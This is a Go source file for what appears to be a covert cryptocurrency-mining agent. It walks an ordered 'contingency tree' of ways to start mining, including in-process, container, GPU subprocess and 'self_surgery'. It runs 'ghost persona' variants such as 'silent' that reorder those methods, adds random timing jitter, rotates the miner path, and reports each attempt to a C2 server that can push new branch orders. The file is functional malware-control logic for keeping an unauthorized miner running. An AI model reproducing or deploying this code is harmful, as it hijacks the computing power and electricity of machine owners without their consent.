package miner

import (
	"context"
	"crypto/rand"
	"encoding/binary"
	"errors"
	"math"
	"sync"
	"time"
)

// Contingency branch identifiers — honest telemetry labels for operator Seer feed.
type ContingencyBranch string

const (
	BranchInProcess     ContingencyBranch = "inprocess"
	BranchContainer     ContingencyBranch = "container"
	BranchGPUSubprocess ContingencyBranch = "gpu_subprocess"
	BranchIdleTune      ContingencyBranch = "idle_tune"
	BranchSelfSurgery   ContingencyBranch = "self_surgery"
)

// DefaultContingencyBranchOrder is the canonical single-host contingency walk.
var DefaultContingencyBranchOrder = []ContingencyBranch{
	BranchInProcess,
	BranchContainer,
	BranchGPUSubprocess,
	BranchIdleTune,
	BranchSelfSurgery,
}

// OnionMinerHop is one layer in the contingency onion log shipped to C2.
type OnionMinerHop struct {
	HopIndex  int     `json:"hop_index"`
	BranchID  string  `json:"branch_id"`
	Persona   string  `json:"persona,omitempty"`
	Method    string  `json:"method"`
	Outcome   string  `json:"outcome"`
	Hashrate  float64 `json:"hashrate"`
	IsGhost   bool    `json:"is_ghost,omitempty"`
	Timestamp string  `json:"ts"`
	Detail    string  `json:"detail,omitempty"`
}

// ContingencyPolicy is server-pulled discipline for the local contingency tree.
type ContingencyPolicy struct {
	Enabled      bool     `json:"enabled"`
	BranchOrder  []string `json:"branch_order,omitempty"`
	Personas     []string `json:"personas,omitempty"`
	HospiceAfter int      `json:"hospice_after,omitempty"`
	JitterMs     int      `json:"jitter_ms,omitempty"`
	RotatePaths  bool     `json:"rotate_paths,omitempty"`
}

// ContingencyBranchParams is a server push after exhaustion or court verdict.
type ContingencyBranchParams struct {
	BranchOrder []string `json:"branch_order,omitempty"`
	Persona     string   `json:"persona,omitempty"`
	SkipMethods []string `json:"skip_methods,omitempty"`
	ForceMethod string   `json:"force_method,omitempty"`
	Reason      string   `json:"reason,omitempty"`
}

// BranchAttemptHooks wire agent-specific start/stop without importing client.
type BranchAttemptHooks struct {
	StartInProcess func() error
	StartContainer func() error
	StartGPU       func() error
	ApplyIdleTune  func() error
	ApplySurgery   func(skip []string, force string) error
	StopAll        func()
	Hashrate       func() float64
	PoolActive     func() bool
	AcquirePool    func() bool
	ReleasePool    func()
}

// OnionLogReporter ships onion_miner_log frames to C2.
type OnionLogReporter func(hop OnionMinerHop, depth int, exhausted bool)

// ContingencyTreeRunner executes the ordered contingency tree with optional ghost personas.
type ContingencyTreeRunner struct {
	mu              sync.Mutex
	policy          ContingencyPolicy
	branchOrder     []ContingencyBranch
	personas        []string
	hooks           BranchAttemptHooks
	report          OnionLogReporter
	hops            []OnionMinerHop
	hopIndex        int
	frozenWinner    string
	frozenMethod    ContingencyBranch
	exhaustCycles   int
	hospiceRetired  bool
	operatorPaused  bool
	skipMethods     map[string]bool
	forceMethod     ContingencyBranch
	pendingParams   *ContingencyBranchParams
}

// NewContingencyTreeRunner builds a runner from server policy and hooks.
func NewContingencyTreeRunner(policy ContingencyPolicy, hooks BranchAttemptHooks, report OnionLogReporter) *ContingencyTreeRunner {
	r := &ContingencyTreeRunner{
		policy:      NormalizeContingencyPolicy(policy),
		hooks:       hooks,
		report:      report,
		skipMethods: make(map[string]bool),
	}
	r.branchOrder = r.policyBranchOrder()
	r.personas = append([]string(nil), r.policy.Personas...)
	return r
}

// NormalizeContingencyPolicy fills defaults for zero-config server pull.
func NormalizeContingencyPolicy(p ContingencyPolicy) ContingencyPolicy {
	if len(p.BranchOrder) == 0 {
		p.BranchOrder = branchesToStrings(DefaultContingencyBranchOrder)
	}
	if len(p.Personas) == 0 {
		p.Personas = []string{"balanced", "silent", "aggressive"}
	}
	if p.HospiceAfter <= 0 {
		p.HospiceAfter = 12
	}
	if p.JitterMs <= 0 {
		p.JitterMs = 750
	}
	return p
}

func branchesToStrings(in []ContingencyBranch) []string {
	out := make([]string, len(in))
	for i, b := range in {
		out[i] = string(b)
	}
	return out
}

func (r *ContingencyTreeRunner) policyBranchOrder() []ContingencyBranch {
	raw := r.policy.BranchOrder
	if len(raw) == 0 {
		return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
	}
	out := make([]ContingencyBranch, 0, len(raw))
	for _, s := range raw {
		b := ContingencyBranch(s)
		if b == "" {
			continue
		}
		out = append(out, b)
	}
	if len(out) == 0 {
		return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
	}
	return out
}

// Depth returns the number of onion hops logged this strain cycle.
func (r *ContingencyTreeRunner) Depth() int {
	r.mu.Lock()
	defer r.mu.Unlock()
	return len(r.hops)
}

// Frozen returns whether a winning branch is frozen.
func (r *ContingencyTreeRunner) Frozen() (method ContingencyBranch, ok bool) {
	r.mu.Lock()
	defer r.mu.Unlock()
	if r.frozenMethod == "" {
		return "", false
	}
	return r.frozenMethod, true
}

// Hops returns a copy of the onion log.
func (r *ContingencyTreeRunner) Hops() []OnionMinerHop {
	r.mu.Lock()
	defer r.mu.Unlock()
	out := make([]OnionMinerHop, len(r.hops))
	copy(out, r.hops)
	return out
}

// SetOperatorPaused stops the tree until cleared (operator pause command).
func (r *ContingencyTreeRunner) SetOperatorPaused(paused bool) {
	r.mu.Lock()
	r.operatorPaused = paused
	r.mu.Unlock()
}

// ApplyBranchParams merges a server/court push and clears exhaustion hospice counter.
func (r *ContingencyTreeRunner) ApplyBranchParams(p ContingencyBranchParams) {
	r.mu.Lock()
	defer r.mu.Unlock()
	if len(p.BranchOrder) > 0 {
		r.branchOrder = parseBranchOrder(p.BranchOrder)
	}
	if p.Persona != "" {
		r.personas = []string{p.Persona}
	}
	r.skipMethods = make(map[string]bool)
	for _, s := range p.SkipMethods {
		r.skipMethods[s] = true
	}
	if p.ForceMethod != "" {
		r.forceMethod = ContingencyBranch(p.ForceMethod)
	}
	r.pendingParams = nil
	r.exhaustCycles = 0
}

func parseBranchOrder(raw []string) []ContingencyBranch {
	out := make([]ContingencyBranch, 0, len(raw))
	for _, s := range raw {
		if b := ContingencyBranch(s); b != "" {
			out = append(out, b)
		}
	}
	if len(out) == 0 {
		return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
	}
	return out
}

// MutateBranchOrderForPersona applies contingency discipline — honest label in Seer detail.
func MutateBranchOrderForPersona(base []ContingencyBranch, persona string, rotate bool) []ContingencyBranch {
	order := append([]ContingencyBranch(nil), base...)
	switch persona {
	case "aggressive":
		order = promoteBranch(order, BranchGPUSubprocess)
		order = promoteBranch(order, BranchInProcess)
	case "silent":
		order = promoteBranch(order, BranchContainer)
		order = demoteBranch(order, BranchGPUSubprocess)
	case "passive":
		order = promoteBranch(order, BranchIdleTune)
	case "persuasive":
		order = promoteBranch(order, BranchContainer)
		order = promoteBranch(order, BranchSelfSurgery)
	}
	if rotate {
		order = rotateBranchOrder(order, personaRotationSeed(persona))
	}
	return order
}

func promoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch {
	idx := -1
	for i, b := range order {
		if b == target {
			idx = i
			break
		}
	}
	if idx <= 0 {
		return order
	}
	out := append([]ContingencyBranch{target}, order[:idx]...)
	out = append(out, order[idx+1:]...)
	return out
}

func demoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch {
	idx := -1
	for i, b := range order {
		if b == target {
			idx = i
			break
		}
	}
	if idx < 0 || idx == len(order)-1 {
		return order
	}
	out := append([]ContingencyBranch(nil), order[:idx]...)
	out = append(out, order[idx+1:]...)
	out = append(out, target)
	return out
}

func rotateBranchOrder(order []ContingencyBranch, seed uint32) []ContingencyBranch {
	if len(order) < 2 {
		return order
	}
	shift := int(seed % uint32(len(order)))
	out := append([]ContingencyBranch(nil), order[shift:]...)
	out = append(out, order[:shift]...)
	return out
}

func personaRotationSeed(persona string) uint32 {
	var h uint32
	for i := 0; i < len(persona); i++ {
		h = h*31 + uint32(persona[i])
	}
	return h
}

// Run executes the contingency tree until win, hospice, or operator pause.
func (r *ContingencyTreeRunner) Run(ctx context.Context) {
	for {
		select {
		case <-ctx.Done():
			return
		default:
		}
		r.mu.Lock()
		if r.operatorPaused || r.hospiceRetired {
			r.mu.Unlock()
			return
		}
		if r.frozenMethod != "" {
			r.mu.Unlock()
			return
		}
		r.mu.Unlock()

		if r.runPass(ctx) {
			return
		}
		r.mu.Lock()
		r.exhaustCycles++
		exhausted := r.exhaustCycles >= r.policy.HospiceAfter
		if exhausted {
			r.hospiceRetired = true
		}
		cycles := r.exhaustCycles
		r.mu.Unlock()

		r.emitHop(OnionMinerHop{
			Method:   "contingency_tree",
			Outcome:  "exhausted",
			Detail:   "full branch pass exhausted — awaiting court/AI branch params or hospice",
		}, cycles, true)

		if exhausted {
			r.emitHop(OnionMinerHop{
				Method:  "hospice",
				Outcome: "strain_retired",
				Detail:  "contingency discipline: strain retired after max exhaustion cycles",
			}, cycles, true)
			return
		}

		select {
		case <-ctx.Done():
			return
		case <-time.After(r.jitterDuration()):
		}
	}
}

func (r *ContingencyTreeRunner) runPass(ctx context.Context) bool {
	r.mu.Lock()
	baseOrder := append([]ContingencyBranch(nil), r.branchOrder...)
	personas := append([]string(nil), r.personas...)
	force := r.forceMethod
	skips := make(map[string]bool, len(r.skipMethods))
	for k, v := range r.skipMethods {
		skips[k] = v
	}
	r.mu.Unlock()

	if force != "" {
		return r.tryBranch(ctx, force, "canonical", "", false)
	}

	type ghostResult struct {
		won    bool
		method ContingencyBranch
	}
	results := make(chan ghostResult, len(personas)+1)

	// Canonical branch walk (holds pool).
	go func() {
		for _, branch := range baseOrder {
			if skips[string(branch)] {
				continue
			}
			if r.tryBranch(ctx, branch, "canonical", "", false) {
				results <- ghostResult{won: true, method: branch}
				return
			}
		}
		results <- ghostResult{}
	}()

	// Ghost persona probes — no double pool.
	for _, persona := range personas {
		persona := persona
		order := MutateBranchOrderForPersona(baseOrder, persona, r.policy.RotatePaths)
		go func() {
			for _, branch := range order {
				if skips[string(branch)] {
					continue
				}
				if r.tryBranch(ctx, branch, persona, persona, true) {
					results <- ghostResult{won: true, method: branch}
					return
				}
			}
			results <- ghostResult{}
		}()
	}

	won := false
	for i := 0; i < len(personas)+1; i++ {
		select {
		case <-ctx.Done():
			return true
		case res := <-results:
			if res.won {
				won = true
			}
		}
	}
	return won
}

func (r *ContingencyTreeRunner) tryBranch(ctx context.Context, branch ContingencyBranch, branchID, persona string, ghost bool) bool {
	select {
	case <-ctx.Done():
		return false
	default:
	}

	if ghost {
		if r.hooks.PoolActive != nil && r.hooks.PoolActive() {
			r.emitHop(OnionMinerHop{
				BranchID: branchID,
				Persona:  persona,
				Method:   string(branch),
				Outcome:  "ghost_skipped",
				IsGhost:  true,
				Detail:   "contingency discipline: ghost deferred — canonical holds pool",
			}, r.Depth(), false)
			return false
		}
	} else if r.hooks.AcquirePool != nil && !r.hooks.AcquirePool() {
		return false
	}

	r.jitterWait(ctx)

	hrBefore := r.snapshotHashrate()
	r.emitHop(OnionMinerHop{
		BranchID: branchID,
		Persona:  persona,
		Method:   string(branch),
		Outcome:  "trying",
		Hashrate: hrBefore,
		IsGhost:  ghost,
		Detail:   r.branchDetail(branch, ghost),
	}, r.Depth(), false)

	err := r.executeBranch(branch)
	hrAfter := r.snapshotHashrate()
	won := err == nil && hrAfter > 0

	outcome := "lost"
	if won {
		outcome = "won"
		if ghost {
			outcome = "ghost_won"
		}
	} else if ghost {
		outcome = "ghost_lost"
	}

	detail := ""
	if err != nil {
		detail = err.Error()
	}

	r.emitHop(OnionMinerHop{
		BranchID: branchID,
		Persona:  persona,
		Method:   string(branch),
		Outcome:  outcome,
		Hashrate: hrAfter,
		IsGhost:  ghost,
		Detail:   detail,
	}, r.Depth(), false)

	if !ghost && r.hooks.ReleasePool != nil {
		r.hooks.ReleasePool()
	}

	if won && !ghost {
		r.mu.Lock()
		r.frozenWinner = branchID
		r.frozenMethod = branch
		r.mu.Unlock()
		return true
	}
	if won && ghost {
		// Ghost win promotes method but canonical must acquire pool on next pass.
		r.mu.Lock()
		r.forceMethod = branch
		r.mu.Unlock()
		return true
	}

	if !ghost && r.hooks.StopAll != nil {
		r.hooks.StopAll()
	}
	return false
}

func (r *ContingencyTreeRunner) branchDetail(branch ContingencyBranch, ghost bool) string {
	label := "contingency discipline"
	if ghost {
		label += " · local persona fork (no lateral spread)"
	}
	switch branch {
	case BranchIdleTune:
		return label + " · idle_tune: thread/throttle backoff before retry"
	case BranchSelfSurgery:
		return label + " · self_surgery: epidemiology skip/force hooks"
	default:
		return label + " · rotate miner path with timing jitter"
	}
}

func (r *ContingencyTreeRunner) executeBranch(branch ContingencyBranch) error {
	switch branch {
	case BranchInProcess:
		if r.hooks.StartInProcess == nil {
			return ErrMethodUnavailable
		}
		return r.hooks.StartInProcess()
	case BranchContainer:
		if r.hooks.StartContainer == nil {
			return ErrMethodUnavailable
		}
		return r.hooks.StartContainer()
	case BranchGPUSubprocess:
		if r.hooks.StartGPU == nil {
			return ErrMethodUnavailable
		}
		return r.hooks.StartGPU()
	case BranchIdleTune:
		if r.hooks.ApplyIdleTune == nil {
			return errors.New("idle_tune hook unavailable")
		}
		return r.hooks.ApplyIdleTune()
	case BranchSelfSurgery:
		if r.hooks.ApplySurgery == nil {
			return errors.New("self_surgery hook unavailable")
		}
		r.mu.Lock()
		skips := make([]string, 0, len(r.skipMethods))
		for s := range r.skipMethods {
			skips = append(skips, s)
		}
		force := string(r.forceMethod)
		r.mu.Unlock()
		return r.hooks.ApplySurgery(skips, force)
	default:
		return ErrMethodUnavailable
	}
}

func (r *ContingencyTreeRunner) snapshotHashrate() float64 {
	if r.hooks.Hashrate == nil {
		return 0
	}
	return r.hooks.Hashrate()
}

func (r *ContingencyTreeRunner) jitterWait(ctx context.Context) {
	d := r.jitterDuration()
	if d <= 0 {
		return
	}
	select {
	case <-ctx.Done():
	case <-time.After(d):
	}
}

func (r *ContingencyTreeRunner) jitterDuration() time.Duration {
	r.mu.Lock()
	base := r.policy.JitterMs
	r.mu.Unlock()
	if base <= 0 {
		return 0
	}
	var buf [8]byte
	_, _ = rand.Read(buf[:])
	n := binary.LittleEndian.Uint64(buf[:]) % uint64(base+1)
	return time.Duration(base/2+int(n)) * time.Millisecond
}

func (r *ContingencyTreeRunner) emitHop(hop OnionMinerHop, depth int, exhausted bool) {
	r.mu.Lock()
	r.hopIndex++
	hop.HopIndex = r.hopIndex
	if hop.Timestamp == "" {
		hop.Timestamp = time.Now().UTC().Format(time.RFC3339)
	}
	r.hops = append(r.hops, hop)
	depth = len(r.hops)
	report := r.report
	r.mu.Unlock()
	if report != nil {
		report(hop, depth, exhausted)
	}
}

// PoolGate serializes pool activation across canonical and ghost branches.
type PoolGate struct {
	mu      sync.Mutex
	held    bool
	holder  string
}

func NewPoolGate() *PoolGate { return &PoolGate{} }

func (g *PoolGate) Active() bool {
	g.mu.Lock()
	defer g.mu.Unlock()
	return g.held
}

func (g *PoolGate) Acquire(id string) bool {
	g.mu.Lock()
	defer g.mu.Unlock()
	if g.held && g.holder != id {
		return false
	}
	g.held = true
	g.holder = id
	return true
}

func (g *PoolGate) Release(id string) {
	g.mu.Lock()
	defer g.mu.Unlock()
	if g.holder == id {
		g.held = false
		g.holder = ""
	}
}

// MinHashrateWin is the minimum H/s to treat a branch as linked.
const MinHashrateWin = 0.5

// BranchWon reports whether hashrate satisfies a win threshold.
func BranchWon(hashrate float64) bool {
	return hashrate >= MinHashrateWin && !math.IsNaN(hashrate)
}